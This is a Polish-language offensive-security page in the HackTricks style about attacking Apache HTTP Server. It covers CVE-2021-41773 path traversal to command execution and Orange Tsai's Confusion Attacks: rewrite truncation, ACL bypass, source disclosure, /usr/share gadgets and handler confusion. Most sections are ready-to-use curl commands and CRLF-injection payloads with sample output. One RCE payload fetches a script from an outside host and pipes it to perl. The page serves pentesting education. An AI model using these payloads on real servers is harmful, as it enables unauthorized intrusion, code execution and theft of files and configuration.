247 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache
{{#include ../../banners/hacktricks-training.md}}
## Wykonywalne rozszerzenia PHP
Sprawdź, które rozszerzenia wykonuje serwer Apache. Aby je wyszukać, możesz wykonać:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Również niektóre miejsca, w których możesz znaleźć tę konfigurację, to:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## Atak konfuzji <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Te typy ataków zostały wprowadzone i udokumentowane [**przez Orange w tym poście na blogu**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), a poniżej znajduje się podsumowanie. Atak "konfuzji" zasadniczo wykorzystuje to, jak dziesiątki modułów współpracujących w Apache nie działają idealnie zsynchronizowane, a zmiana niektórych z nich w celu modyfikacji nieoczekiwanych danych może spowodować lukę w późniejszym module.
### Konfuzja nazwy pliku
#### Skracanie
**`mod_rewrite`** obetnie zawartość `r->filename` po znaku `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). To nie jest całkowicie błędne, ponieważ większość modułów traktuje `r->filename` jako URL. Jednak w innych przypadkach będzie to traktowane jako ścieżka do pliku, co może spowodować problem.
- **Skracanie ścieżki**
Można wykorzystać `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki, dodając po prostu `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Wprowadzenie w błąd przypisania RewriteFlag**
W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (np. obraz) z złośliwym kodem php w środku:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**
Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zabroniony w przypadku konfiguracji takich jak:
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
To dlatego, że domyślnie PHP-FPM odbierze adresy URL kończące się na `.php`, takie jak `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni adres URL pozwoli na załadowanie `/admin.php`, nawet jeśli poprzednia reguła tego zabraniała.
### DocumentRoot Confusion
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Ciekawostką na temat Apache jest to, że poprzednie przepisywanie spróbuje uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Tak więc, żądanie do `https://server/abouth.html` sprawdzi plik w `/var/www/html/about.html` oraz `/about.html` w systemie plików. Co zasadniczo może być wykorzystane do uzyskania dostępu do plików w systemie plików.
#### **Ujawnienie kodu źródłowego po stronie serwera**
- **Ujawnij kod źródłowy CGI**
Wystarczy dodać %3F na końcu, aby ujawnić kod źródłowy modułu cgi:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **Ujawnienie kodu źródłowego PHP**
Jeśli serwer ma różne domeny, z jedną z nich jako domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i ujawnienia kodu php:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulacja lokalnymi gadżetami**
Głównym problemem z poprzednim atakiem jest to, że domyślnie większość dostępu do systemu plików będzie zablokowana, jak w [szablonie konfiguracji](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) serwera Apache HTTP.
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie pozwalają na `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Zatem możliwe byłoby **nadużycie plików znajdujących się w `/usr/share` w tych dystrybucjach.**
**Lokalny Gadget do ujawnienia informacji**
- **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, co może prowadzić do ujawnienia wrażliwych zmiennych środowiskowych.
- Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje o aplikacjach webowych (np. **web.xml**) poprzez swoje domyślne katalogi webowe umieszczone w **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Lokalny Gadget do XSS**
- Na Ubuntu Desktop z **zainstalowanym LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulowanie adresem URL w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje poprzez **niebezpieczne RewriteRule**.
**Lokalny Gadget do LFI**
- Jeśli zainstalowane są PHP lub niektóre pakiety front-endowe, takie jak **JpGraph** lub **jQuery-jFeed**, ich pliki mogą być wykorzystywane do odczytu wrażliwych plików, takich jak **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Lokalny Gadget do SSRF**
- Wykorzystując **magpie_debug.php** z **MagpieRSS** w **/usr/share/php/magpierss/scripts/magpie_debug.php**, można łatwo stworzyć lukę SSRF, co daje dostęp do dalszych exploitów.
**Lokalny Gadget do RCE**
- Możliwości **Remote Code Execution (RCE)** są ogromne, z podatnymi instalacjami, takimi jak przestarzały **PHPUnit** lub **phpLiteAdmin**. Mogą być one wykorzystywane do wykonywania dowolnego kodu, co pokazuje ogromny potencjał manipulacji lokalnymi gadżetami.
#### **Jailbreak z lokalnych gadżetów**
Możliwe jest również uzyskanie dostępu do systemu z dozwolonych folderów, podążając za symlinkami generowanymi przez zainstalowane oprogramowanie w tych folderach, takich jak:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Ponadto, nadużywając symlinków, możliwe było uzyskanie **RCE w Redmine.**
### Confuzja Handlera <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Ten atak wykorzystuje nakładanie się funkcjonalności między dyrektywami `AddHandler` i `AddType`, które mogą być używane do **włączania przetwarzania PHP**. Początkowo dyrektywy te wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu kodu dziedziczonego, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, przekształcając `r->content_type` w `r->handler`, jeśli ten pierwszy jest ustawiony, a drugi nie.
Ponadto, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, co skutecznie czyni `AddType` i `AddHandler` identycznymi w skutkach.
#### **Nadpisanie Handlera w celu ujawnienia kodu źródłowego PHP**
W [**tej prezentacji**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) przedstawiono lukę, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Działo się tak z powodu problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\
Ponieważ ModSecurity nie obsługuje poprawnie wartości zwracanych, zwracałby kod PHP i nie interpretowałby go.
#### **Nadpisanie Handlera do XXXX**
TODO: Orange jeszcze nie ujawnili tej luki
### **Wywołanie dowolnych handlerów**
Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne handlera modułów**. Jednak w momencie, gdy atakujący kontroluje to, większość procesu żądania będzie już zakończona. Możliwe jest jednak **ponowne uruchomienie procesu żądania, nadużywając nagłówka `Location`**, ponieważ jeśli **r**eturned `Status` to 200, a nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako przekierowanie po stronie serwera i powinna być przetworzona.
Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Sekcji 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie lokalnej odpowiedzi przekierowującej:
> Skrypt CGI może zwrócić ścieżkę URI i ciąg zapytania (local-pathquery) dla lokalnego zasobu w polu nagłówka Location. To wskazuje serwerowi, że powinien ponownie przetworzyć żądanie, używając określonej ścieżki.
Dlatego, aby przeprowadzić ten atak, potrzebna jest jedna z następujących luk:
- Wstrzyknięcie CRLF w nagłówkach odpowiedzi CGI
- SSRF z pełną kontrolą nad nagłówkami odpowiedzi
#### **Dowolny handler do ujawnienia informacji**
Na przykład `/server-status` powinien być dostępny tylko lokalnie:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Możliwe jest uzyskanie dostępu, ustawiając `Content-Type` na `server-status` i nagłówek Location zaczynający się od `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Arbitralny handler do pełnego SSRF**
Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu na dowolnym URL:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do punktów końcowych metadanych w chmurze.
#### **Arbitralny handler do uzyskania dostępu do lokalnego gniazda Unix Domain**
Uzyskaj dostęp do lokalnego gniazda Unix Domain PHP-FPM, aby wykonać backdoora PHP znajdującego się w `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Arbitralny handler do RCE**
Oficjalny [PHP Docker](https://hub.docker.com/_/php) obraz zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w wierszu poleceń, które można wykorzystać do uzyskania RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), napisany przez [Phith0n](https://x.com/phithon_xg) w celu uzyskania szczegółów na temat tej techniki.
## Odniesienia
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
{{#include ../../banners/hacktricks-training.md}}